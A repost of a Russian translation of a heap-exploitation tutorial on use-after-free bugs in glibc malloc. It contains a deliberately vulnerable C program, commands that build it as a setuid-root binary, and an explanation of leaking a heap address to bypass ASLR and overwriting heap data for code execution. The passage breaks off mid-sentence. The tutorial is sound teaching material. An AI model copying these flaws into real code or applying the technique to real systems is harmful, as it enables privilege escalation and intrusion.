{"id":308849,"date":"2020-08-21T21:00:28","date_gmt":"2020-08-21T21:00:28","guid":{"rendered":"http:\/\/savepearlharbor.com\/?p=308849"},"modified":"-0001-11-30T00:00:00","modified_gmt":"-0001-11-29T21:00:00","slug":"","status":"publish","type":"post","link":"https:\/\/savepearlharbor.com\/?p=308849","title":{"rendered":"\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c Use-After-Free"},"content":{"rendered":"\n<div class=\"post__text post__text-html post__text_v1\" id=\"post-content-body\" data-io-article-url=\"https:\/\/habr.com\/ru\/company\/otus\/blog\/516150\/\"><b><i>\u041f\u0440\u0438\u0432\u0435\u0442, \u0445\u0430\u0431\u0440! \u0412 \u043f\u0440\u0435\u0434\u0434\u0432\u0435\u0440\u0438\u0438 \u0441\u0442\u0430\u0440\u0442\u0430 \u043f\u0440\u043e\u0434\u0432\u0438\u043d\u0443\u0442\u043e\u0433\u043e \u043a\u0443\u0440\u0441\u0430 <a href=\"https:\/\/otus.pw\/iMNL\/\">\u00ab\u0420\u0435\u0432\u0435\u0440\u0441-\u0438\u043d\u0436\u0438\u043d\u0438\u0440\u0438\u043d\u0433\u00bb<\/a> \u043c\u044b \u043f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u0438\u043b\u0438 \u0434\u043b\u044f \u0432\u0430\u0441 \u0435\u0449\u0435 \u043e\u0434\u0438\u043d \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b\u0439 \u043f\u0435\u0440\u0435\u0432\u043e\u0434. \u041d\u0430\u0447\u043d\u0435\u043c!<\/i><\/b><\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/9q\/pn\/yb\/9qpnybfuid_xl_7kgno1wtivq3a.png\"><\/p>\n<p>  \u041f\u0440\u0435\u0434\u0432\u0430\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f:<\/p>\n<ol>\n<li>\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c <a href=\"https:\/\/sploitfun.wordpress.com\/2015\/06\/09\/off-by-one-vulnerability-heap-based\/\">Off-By-One<\/a><\/li>\n<li>\u041f\u043e\u043d\u0438\u043c\u0430\u043d\u0438\u0435 \u0440\u0430\u0431\u043e\u0442\u044b <code>malloc<\/code> \u0432 <code>glibc<\/code> <\/li>\n<\/ol>\n<p>  \u041a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u044f \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u043e\u0439 \u043c\u0430\u0448\u0438\u043d\u044b: Fedora 20 (x86).<\/p>\n<h3>\u0427\u0442\u043e \u0442\u0430\u043a\u043e\u0435 Use-After-Free (UaF)?<\/h3>\n<p>  \u0411\u0430\u0433 Use-After-Free \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u0435\u0442 \u0435\u0441\u043b\u0438 \u0443\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c \u043a\u0443\u0447\u0438 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u0443\u0436\u0435 \u043f\u043e\u0441\u043b\u0435 \u0435\u0435 \u043e\u0441\u0432\u043e\u0431\u043e\u0436\u0434\u0435\u043d\u0438\u044f. \u0422\u0430\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0432\u043b\u0435\u0447\u044c \u0437\u0430 \u0441\u043e\u0431\u043e\u0439 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430.<br \/>  <a name=\"habracut\"><\/a><br \/>   \u0423\u044f\u0437\u0432\u0438\u043c\u044b\u0439 \u043a\u043e\u0434:<\/p>\n<pre><code class=\"xml\">#include &lt;stdio.h&gt; #include &lt;string.h&gt; #include &lt;unistd.h&gt; #define BUFSIZE1 1020 #define BUFSIZE2 ((BUFSIZE1\/2) - 4)  int main(int argc, char **argv) {   char* name = malloc(12); \/* [1] *\/  char* details = malloc(12); \/* [2] *\/  strncpy(name, argv[1], 12-1); \/* [3] *\/  free(details); \/* [4] *\/  free(name);  \/* [5] *\/  printf(&quot;Welcome %s\\n&quot;,name); \/* [6] *\/  fflush(stdout);   char* tmp = (char *) malloc(12); \/* [7] *\/  char* p1 = (char *) malloc(BUFSIZE1); \/* [8] *\/  char* p2 = (char *) malloc(BUFSIZE1); \/* [9] *\/  free(p2); \/* [10] *\/  char* p2_1 = (char *) malloc(BUFSIZE2); \/* [11] *\/  char* p2_2 = (char *) malloc(BUFSIZE2); \/* [12] *\/   printf(&quot;Enter your region\\n&quot;);  fflush(stdout);  read(0,p2,BUFSIZE1-1); \/* [13] *\/  printf(&quot;Region:%s\\n&quot;,p2);   free(p1); \/* [14] *\/ }<\/code><\/pre>\n<p>   \u041a\u043e\u043c\u0430\u043d\u0434\u044b \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u0438:<\/p>\n<pre><code class=\"xml\">#echo 2 &gt; \/proc\/sys\/kernel\/randomize_va_space $gcc -o vuln vuln.c $sudo chown root vuln $sudo chgrp root vuln $sudo chmod +s vuln<\/code><\/pre>\n<p>   <\/p>\n<blockquote><p><i><b>\u041f\u0440\u0438\u043c\u0435\u0447\u0430\u043d\u0438\u0435<\/b>: \u043f\u043e \u0441\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u044e \u0441 <a href=\"https:\/\/sploitfun.wordpress.com\/2015\/06\/09\/off-by-one-vulnerability-heap-based\/\">\u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0435\u0439 \u0441\u0442\u0430\u0442\u044c\u0435\u0439<\/a>, \u0437\u0434\u0435\u0441\u044c ASLR \u0432\u043a\u043b\u044e\u0447\u0435\u043d. \u0422\u0435\u043f\u0435\u0440\u044c \u0434\u0430\u0432\u0430\u0439\u0442\u0435 \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u0441\u044f \u0431\u0430\u0433\u043e\u043c UaF, \u0438, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 ASLR \u0432\u043a\u043b\u044e\u0447\u0435\u043d, \u0434\u0430\u0432\u0430\u0439\u0442\u0435 \u043e\u0431\u043e\u0439\u0434\u0435\u043c \u0435\u0433\u043e \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0443\u0442\u0435\u0447\u043a\u0438 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u0438 \u0431\u0440\u0443\u0442\u0444\u043e\u0440\u0441\u0430.<\/i><\/p><\/blockquote>\n<p> \u0412 \u043a\u043e\u0434\u0435 \u0432\u044b\u0448\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 use-after-free \u043d\u0430\u0445\u043e\u0434\u044f\u0442\u0441\u044f \u0432 \u0441\u0442\u0440\u043e\u043a\u0430\u0445 [6] \u0438 [13]. \u0421\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0435 \u0438\u043c \u043f\u0430\u043c\u044f\u0442\u0438 \u043a\u0443\u0447 \u043e\u0441\u0432\u043e\u0431\u043e\u0436\u0434\u0430\u044e\u0442\u0441\u044f \u0432 \u0441\u0442\u0440\u043e\u043a\u0430\u0445 [5] \u0438 [10], \u043d\u043e \u0438\u0445 \u0443\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442\u0441\u044f \u0443\u0436\u0435 \u043f\u043e\u0441\u043b\u0435 \u043e\u0441\u0432\u043e\u0431\u043e\u0436\u0434\u0435\u043d\u0438\u044f \u0432 \u0441\u0442\u0440\u043e\u043a\u0430\u0445 [6] \u0438 [13]! UaF \u0432 \u0441\u0442\u0440\u043e\u043a\u0435 [6] \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u0443\u0442\u0435\u0447\u043a\u0435 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438, \u0432 \u0441\u0442\u0440\u043e\u043a\u0435 [13] \u2013 \u043a \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430.<\/p>\n<p>  <b>\u0427\u0442\u043e \u0442\u0430\u043a\u043e\u0435 \u0443\u0442\u0435\u0447\u043a\u0430 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438? \u041a\u0430\u043a \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u0435\u0439 \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f?<\/b><\/p>\n<p>  \u0412 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u043c \u043a\u043e\u0434\u0435 \u0432\u044b\u0448\u0435 (\u0432 \u0441\u0442\u0440\u043e\u043a\u0435 [6]) \u0443\u0442\u0435\u0447\u043a\u0430 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u043f\u043e \u0430\u0434\u0440\u0435\u0441\u0443 \u043a\u0443\u0447\u0438. \u0423\u0442\u0435\u043a\u0448\u0438\u0439 \u0430\u0434\u0440\u0435\u0441 \u043a\u0443\u0447\u0438 \u043f\u043e\u043c\u043e\u0436\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043b\u0435\u0433\u043a\u043e \u0432\u044b\u0447\u0438\u0441\u043b\u0438\u0442\u044c \u0440\u0430\u043d\u0434\u043e\u043c\u043d\u043e \u0440\u0430\u0437\u043c\u0435\u0449\u0435\u043d\u043d\u044b\u0439 \u0430\u0434\u0440\u0435\u0441 \u0441\u0435\u0433\u043c\u0435\u043d\u0442\u0430 \u043a\u0443\u0447\u0438, \u0442\u0435\u043c \u0441\u0430\u043c\u044b\u043c \u043e\u0431\u043e\u0439\u0434\u044f ASLR.<\/p>\n<p>  \u0427\u0442\u043e\u0431\u044b \u043f\u043e\u043d\u044f\u0442\u044c, \u043a\u0430\u043a \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u0443\u0442\u0435\u0447\u043a\u0430 \u0430\u0434\u0440\u0435\u0441\u0430 \u043a\u0443\u0447\u0438, \u0434\u0430\u0432\u0430\u0439\u0442\u0435 \u0441\u043d\u0430\u0447\u0430\u043b\u0430 \u0440\u0430\u0437\u0431\u0435\u0440\u0435\u043c\u0441\u044f \u0432 \u043f\u0435\u0440\u0432\u043e\u0439 \u043f\u043e\u043b\u043e\u0432\u0438\u043d\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0433\u043e \u043a\u043e\u0434\u0430.<\/p>\n<ul>\n<li>\u0421\u0442\u0440\u043e\u043a\u0430 [1] \u0430\u043b\u043b\u043e\u0446\u0438\u0440\u0443\u0435\u0442 \u043e\u0431\u043b\u0430\u0441\u0442\u044c \u043f\u0430\u043c\u044f\u0442\u0438 \u043a\u0443\u0447\u0438 \u0440\u0430\u0437\u043c\u0435\u0440\u043e\u043c 16 \u0431\u0430\u0439\u0442 \u0434\u043b\u044f <i>\u00abname\u00bb<\/i>.<\/li>\n<li>\u0421\u0442\u0440\u043e\u043a\u0430 [2] \u0430\u043b\u043b\u043e\u0446\u0438\u0440\u0443\u0435\u0442 \u043e\u0431\u043b\u0430\u0441\u0442\u044c \u043f\u0430\u043c\u044f\u0442\u0438 \u043a\u0443\u0447\u0438 \u0440\u0430\u0437\u043c\u0435\u0440\u043e\u043c 16 \u0431\u0430\u0439\u0442 \u0434\u043b\u044f <i>\u00abdetails\u00bb<\/i>.<\/li>\n<li>\u0421\u0442\u0440\u043e\u043a\u0430 [3] \u043a\u043e\u043f\u0438\u0440\u0443\u0435\u0442 \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b 1 (argv[1]) \u0432 \u043e\u0431\u043b\u0430\u0441\u0442\u044c \u043f\u0430\u043c\u044f\u0442\u0438 \u043a\u0443\u0447\u0438 <i>\u00abname\u00bb<\/i>.<\/li>\n<li>\u0421\u0442\u0440\u043e\u043a\u0438 [4] \u0438 [5] \u043e\u0441\u0432\u043e\u0431\u043e\u0436\u0434\u0430\u044e\u0442 \u043e\u0431\u043b\u0430\u0441\u0442\u0438 \u043f\u0430\u043c\u044f\u0442\u0438 \u043a\u0443\u0447\u0438 \u00abname\u00bb \u0438 \u00abdetails\u00bb \u043e\u0431\u0440\u0430\u0442\u043d\u043e \u0432 glibc malloc.<\/li>\n<li>Printf \u0432 \u0441\u0442\u0440\u043e\u043a\u0435 [6] \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0443\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c \u00abname\u00bb \u043f\u043e\u0441\u043b\u0435 \u0435\u0433\u043e \u043e\u0441\u0432\u043e\u0431\u043e\u0436\u0434\u0435\u043d\u0438\u044f, \u0447\u0442\u043e \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u0443\u0442\u0435\u0447\u043a\u0435 \u0430\u0434\u0440\u0435\u0441\u0430 \u043a\u0443\u0447\u0438.<\/li>\n<\/ul>\n<p>  \u041f\u043e\u0441\u043b\u0435 \u043f\u0440\u043e\u0447\u0442\u0435\u043d\u0438\u044f <a href=\"https:\/\/sploitfun.wordpress.com\/2015\/02\/10\/understanding-glibc-malloc\/\">\u0441\u0442\u0430\u0442\u044c\u0438<\/a> \u0438\u0437 \u0440\u0430\u0437\u0434\u0435\u043b\u0430 \u041f\u0440\u0435\u0434\u0432\u0430\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f, \u043c\u044b \u0437\u043d\u0430\u0435\u043c, \u0447\u0442\u043e <a href=\"https:\/\/github.com\/sploitfun\/lsploits\/blob\/master\/glibc\/malloc\/malloc.c#L1249\">\u0447\u0430\u043d\u043a\u0438<\/a>, \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0435 \u0443\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044f\u043c <i>\u00abname\u00bb<\/i> \u0438 <i>\u00abdetails\u00bb<\/i> \u2014 \u044d\u0442\u043e fast-\u0447\u0430\u043d\u043a\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u0440\u0438 <a href=\"https:\/\/github.com\/sploitfun\/lsploits\/blob\/master\/glibc\/malloc\/malloc.c#L3848\">\u043e\u0441\u0432\u043e\u0431\u043e\u0436\u0434\u0435\u043d\u0438\u0438<\/a> \u0445\u0440\u0430\u043d\u044f\u0442\u0441\u044f \u043f\u043e <a href=\"https:\/\/github.com\/sploitfun\/lsploits\/blob\/master\/glibc\/malloc\/malloc.c#L3887\">\u043d\u0443\u043b\u0435\u0432\u043e\u043c\u0443 \u0438\u043d\u0434\u0435\u043a\u0441\u0443<\/a> \u0432 fast-\u044f\u0447\u0435\u0439\u043a\u0430\u0445. \u0422\u0430\u043a\u0436\u0435 \u043c\u044b \u0437\u043d\u0430\u0435\u043c, \u0447\u0442\u043e \u043a\u0430\u0436\u0434\u0430\u044f fast-\u044f\u0447\u0435\u0439\u043a\u0430 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u043e\u0434\u043d\u043e\u0441\u0432\u044f\u0437\u043d\u044b\u0439 \u0441\u043f\u0438\u0441\u043e\u043a \u0441\u0432\u043e\u0431\u043e\u0434\u043d\u044b\u0445 \u0447\u0430\u043d\u043a\u043e\u0432. \u0422\u0430\u043a\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c, \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u044f\u0441\u044c \u043a \u043d\u0430\u0448\u0435\u043c\u0443 \u043f\u0440\u0438\u043c\u0435\u0440\u0443, \u043e\u0434\u043d\u043e\u0441\u0432\u044f\u0437\u043d\u044b\u0439 \u0441\u043f\u0438\u0441\u043e\u043a \u043f\u043e \u043d\u0443\u043b\u0435\u0432\u043e\u043c\u0443 \u0438\u043d\u0434\u0435\u043a\u0441\u0443 \u0432 fast-\u044f\u0447\u0435\u0439\u043a\u0435 \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u0442\u0430\u043a, \u043a\u0430\u043a \u043f\u043e\u043a\u0430\u0437\u0430\u043d\u043e \u043d\u0438\u0436\u0435:<\/p>\n<pre><code class=\"xml\">main_arena.fastbinsY[0] ---&gt; 'name_chunk_address' ---&gt; 'details_chunk_address' ---&gt; NULL<\/code><\/pre>\n<p>  \u0418\u0437-\u0437\u0430 \u043e\u0434\u043d\u043e\u0441\u0432\u044f\u0437\u043d\u043e\u0441\u0442\u0438 \u043f\u0435\u0440\u0432\u044b\u0435 4 \u0431\u0430\u0439\u0442\u0430 <i>\u00abname\u00bb<\/i> \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442 \u0430\u0434\u0440\u0435\u0441 <i>\u00abdetails_chunk\u00bb<\/i>. \u0422\u0430\u043a\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c, \u043a\u043e\u0433\u0434\u0430 \u0432\u044b\u0432\u043e\u0434\u0438\u0442\u0441\u044f <i>\u00abname\u00bb<\/i>, \u0441\u043d\u0430\u0447\u0430\u043b\u0430 \u0432\u044b\u0432\u043e\u0434\u0438\u0442\u0441\u044f \u0430\u0434\u0440\u0435\u0441 <i>\u00abdetails_chunk\u00bb<\/i>. \u041e\u043f\u0438\u0440\u0430\u044f\u0441\u044c \u043d\u0430 \u0441\u0445\u0435\u043c\u0443 \u043a\u0443\u0447\u0438, \u043c\u044b \u0437\u043d\u0430\u0435\u043c, \u0447\u0442\u043e <i>\u00abdetails_chunk\u00bb<\/i> \u0441\u043c\u0435\u0449\u0435\u043d \u043d\u0430 0x10 \u043e\u0442 \u0431\u0430\u0437\u043e\u0432\u043e\u0433\u043e \u0430\u0434\u0440\u0435\u0441\u0430 \u043a\u0443\u0447\u0438. \u0422\u0430\u043a\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c, \u0432\u044b\u0447\u0438\u0442\u0430\u043d\u0438\u0435 0x10 \u0438\u0437 \u0443\u0442\u0435\u043a\u0448\u0435\u0433\u043e \u0430\u0434\u0440\u0435\u0441\u0430 \u043a\u0443\u0447\u0438 \u0434\u0430\u0441\u0442 \u043d\u0430\u043c \u0435\u0435 \u0431\u0430\u0437\u043e\u0432\u044b\u0439 \u0430\u0434\u0440\u0435\u0441!<\/p>\n<p>  <b>\u041a\u0430\u043a \u0434\u043e\u0441\u0442\u0438\u0433\u0430\u0435\u0442\u0441\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430?<\/b><\/p>\n<p>  \u0422\u0435\u043f\u0435\u0440\u044c, \u043a\u043e\u0433\u0434\u0430 \u0443 \u043d\u0430\u0441 \u0435\u0441\u0442\u044c \u0431\u0430\u0437\u043e\u0432\u044b\u0439 \u0430\u0434\u0440\u0435\u0441 \u0441\u0435\u0433\u043c\u0435\u043d\u0442\u0430 \u043a\u0443\u0447\u0438, \u0434\u0430\u0432\u0430\u0439\u0442\u0435 \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0438\u043c, \u043a\u0430\u043a \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434, \u0440\u0430\u0437\u043e\u0431\u0440\u0430\u0432\u0448\u0438\u0441\u044c \u0441\u043e \u0432\u0442\u043e\u0440\u043e\u0439 \u043f\u043e\u043b\u043e\u0432\u0438\u043d\u043e\u0439 \u043d\u0430\u0448\u0435\u0433\u043e \u043f\u0440\u0438\u043c\u0435\u0440\u0430.<\/p>\n<ul>\n<li>\u0421\u0442\u0440\u043e\u043a\u0430 [7] \u0430\u043b\u043b\u043e\u0446\u0438\u0440\u0443\u0435\u0442 \u043e\u0431\u043b\u0430\u0441\u0442\u044c \u043f\u0430\u043c\u044f\u0442\u0438 \u043a\u0443\u0447\u0438 \u0440\u0430\u0437\u043c\u0435\u0440\u043e\u043c 16 \u0431\u0430\u0439\u0442 \u0434\u043b\u044f <i>\u00abtmp\u00bb<\/i>.<\/li>\n<li>\u0421\u0442\u0440\u043e\u043a\u0430 [8] \u0430\u043b\u043b\u043e\u0446\u0438\u0440\u0443\u0435\u0442 \u043e\u0431\u043b\u0430\u0441\u0442\u044c \u043f\u0430\u043c\u044f\u0442\u0438 \u043a\u0443\u0447\u0438 \u0440\u0430\u0437\u043c\u0435\u0440\u043e\u043c 1024 \u0431\u0430\u0439\u0442\u0430 \u0434\u043b\u044f <i>\u00abp1\u00bb<\/i>.<\/li>\n<li>\u0421\u0442\u0440\u043e\u043a\u0430 [9] \u0430\u043b\u043b\u043e\u0446\u0438\u0440\u0443\u0435\u0442 \u043e\u0431\u043b\u0430\u0441\u0442\u044c \u043f\u0430\u043c\u044f\u0442\u0438 \u043a\u0443\u0447\u0438 \u0440\u0430\u0437\u043c\u0435\u0440\u043e\u043c 1024 \u0431\u0430\u0439\u0442\u0430 \u0434\u043b\u044f <i>\u00abp2\u00bb<\/i>.<\/li>\n<li>\u0421\u0442\u0440\u043e\u043a\u0430 [10] \u043e\u0441\u0432\u043e\u0431\u043e\u0436\u0434\u0430\u0435\u0442 \u043e\u0431\u043b\u0430\u0441\u0442\u044c \u043f\u0430\u043c\u044f\u0442\u0438 \u043a\u0443\u0447\u0438 <i>\u00abp2\u00bb<\/i> \u043e\u0431\u0440\u0430\u0442\u043d\u043e \u0432 <i>glibc malloc<\/i>.<\/li>\n<li>\u0421\u0442\u0440\u043e\u043a\u0430 [11] \u0430\u043b\u043b\u043e\u0446\u0438\u0440\u0443\u0435\u0442 \u043e\u0431\u043b\u0430\u0441\u0442\u044c \u043f\u0430\u043c\u044f\u0442\u0438 \u043a\u0443\u0447\u0438 \u0440\u0430\u0437\u043c\u0435\u0440\u043e\u043c 512 \u0431\u0430\u0439\u0442 \u0434\u043b\u044f <i>\u00abp2_1\u00bb<\/i>.<\/li>\n<li>\u0421\u0442\u0440\u043e\u043a\u0430 [12] \u0430\u043b\u043b\u043e\u0446\u0438\u0440\u0443\u0435\u0442 \u043e\u0431\u043b\u0430\u0441\u0442\u044c \u043f\u0430\u043c\u044f\u0442\u0438 \u043a\u0443\u0447\u0438 \u0440\u0430\u0437\u043c\u0435\u0440\u043e\u043c 512 \u0431\u0430\u0439\u0442 \u0434\u043b\u044f <i>\u00abp2_2\u00bb<\/i>.<\/li>\n<li>Read \u0432 \u0441\u0442\u0440\u043e\u043a\u0435 [13] \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0443\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c <i>\u00abp2\u00bb<\/i> \u043f\u043e\u0441\u043b\u0435 \u0435\u0433\u043e \u043e\u0441\u0432\u043e\u0431\u043e\u0436\u0434\u0435\u043d\u0438\u044f.<\/li>\n<li>\u0421\u0442\u0440\u043e\u043a\u0430 [14] \u043e\u0441\u0432\u043e\u0431\u043e\u0436\u0434\u0430\u0435\u0442 \u043e\u0431\u043b\u0430\u0441\u0442\u044c \u043f\u0430\u043c\u044f\u0442\u0438 \u043a\u0443\u0447\u0438 <i>\u00abp1\u00bb<\/i> \u043e\u0431\u0440\u0430\u0442\u043d\u043e \u0432 <code>glibc malloc<\/code>, \u0447\u0442\u043e \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u043f\u0440\u0438 \u0432\u044b\u0445\u043e\u0434\u0435 \u0438\u0437 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b.<\/li>\n<\/ul>\n<p>  \u041f\u043e\u0441\u043b\u0435 \u043f\u0440\u043e\u0447\u0442\u0435\u043d\u0438\u044f <a href=\"https:\/\/sploitfun.wordpress.com\/2015\/02\/10\/understanding-glibc-malloc\/\">\u0441\u0442\u0430\u0442\u044c\u0438<\/a> \u0438\u0437 \u0440\u0430\u0437\u0434\u0435\u043b\u0430 <i>\u041f\u0440\u0435\u0434\u0432\u0430\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f<\/i>, \u043c\u044b \u0437\u043d\u0430\u0435\u043c, \u0447\u0442\u043e \u043a\u043e\u0433\u0434\u0430 <i>\u00abp2\u00bb<\/i> \u043e\u0441\u0432\u043e\u0431\u043e\u0436\u0434\u0430\u0435\u0442\u0441\u044f \u0432 <code>glibc malloc<\/code>, \u043e\u043d <a href=\"https:\/\/github.com\/sploitfun\/lsploits\/blob\/master\/glibc\/malloc\/malloc.c#L4017\">\u043a\u043e\u043d\u0441\u043e\u043b\u0438\u0434\u0438\u0440\u0443\u0435\u0442\u0441\u044f<\/a> \u0432 top-\u0447\u0430\u043d\u043a. \u041f\u043e\u0437\u0436\u0435, \u043a\u043e\u0433\u0434\u0430 \u0437\u0430\u043f\u0440\u0430\u0448\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043f\u0430\u043c\u044f\u0442\u044c \u0434\u043b\u044f <i>\u00abp2_1\u00bb<\/i>, \u043e\u043d\u0430 <a href=\"https:\/\/github.com\/sploitfun\/lsploits\/blob\/master\/glibc\/malloc\/malloc.c#L3755\">\u0432\u044b\u0434\u0435\u043b\u044f\u0435\u0442\u0441\u044f<\/a> \u0438\u0437 top-\u0447\u0430\u043d\u043a\u0430 \u0438 <i>\u00abp2\u00bb<\/i> \u0438 <i>\u00abp2_2\u00bb<\/i> \u0438\u043c\u0435\u044e\u0442 \u043e\u0434\u0438\u043d \u0438 \u0442\u043e\u0442 \u0436\u0435 \u0430\u0434\u0440\u0435\u0441 \u043a\u0443\u0447\u0438. \u0414\u0430\u043b\u0435\u0435, \u043a\u043e\u0433\u0434\u0430 \u0437\u0430\u043f\u0440\u0430\u0448\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043f\u0430\u043c\u044f\u0442\u044c \u0434\u043b\u044f <i>\u00abp2_2\u00bb<\/i>, \u043e\u043d\u0430 <a href=\"https:\/\/github.com\/sploitfun\/lsploits\/blob\/master\/glibc\/malloc\/malloc.c#L3755\">\u0432\u044b\u0434\u0435\u043b\u044f\u0435\u0442\u0441\u044f<\/a> \u0438\u0437 top-\u0447\u0430\u043d\u043a\u0430 \u0438 <i>\u00abp2_2\u00bb<\/i> \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u0441\u044f \u043d\u0430 \u0440\u0430\u0441\u0441\u0442\u043e\u044f\u043d\u0438\u0438 512 \u0431\u0430\u0439\u0442 \u043e\u0442 <i>\u00abp2\u00bb<\/i>. \u0418\u0442\u0430\u043a, \u043a\u043e\u0433\u0434\u0430 \u0443\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c <i>\u00abp2\u00bb<\/i> \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u043f\u043e\u0441\u043b\u0435 \u043e\u0441\u0432\u043e\u0431\u043e\u0436\u0434\u0435\u043d\u0438\u044f \u0432 \u0441\u0442\u0440\u043e\u043a\u0435 [13], \u0434\u0430\u043d\u043d\u044b\u0435, \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0438\u0440\u0443\u0435\u043c\u044b\u0435 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u043c (\u043c\u0430\u043a\u0441\u0438\u043c\u0443\u043c 1019 \u0431\u0430\u0439\u0442) \u043a\u043e\u043f\u0438\u0440\u0443\u044e\u0442\u0441\u044f \u0432 <i>\u00abp2_1\u00bb<\/i>, \u0440\u0430\u0437\u043c\u0435\u0440 \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u0441\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0432\u0441\u0435\u0433\u043e 512 \u0431\u0430\u0439\u0442, \u0438, \u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u043e, \u043e\u0441\u0442\u0430\u0432\u0448\u0438\u0435\u0441\u044f \u0434\u0430\u043d\u043d\u044b\u0435 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430 \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u044e\u0442 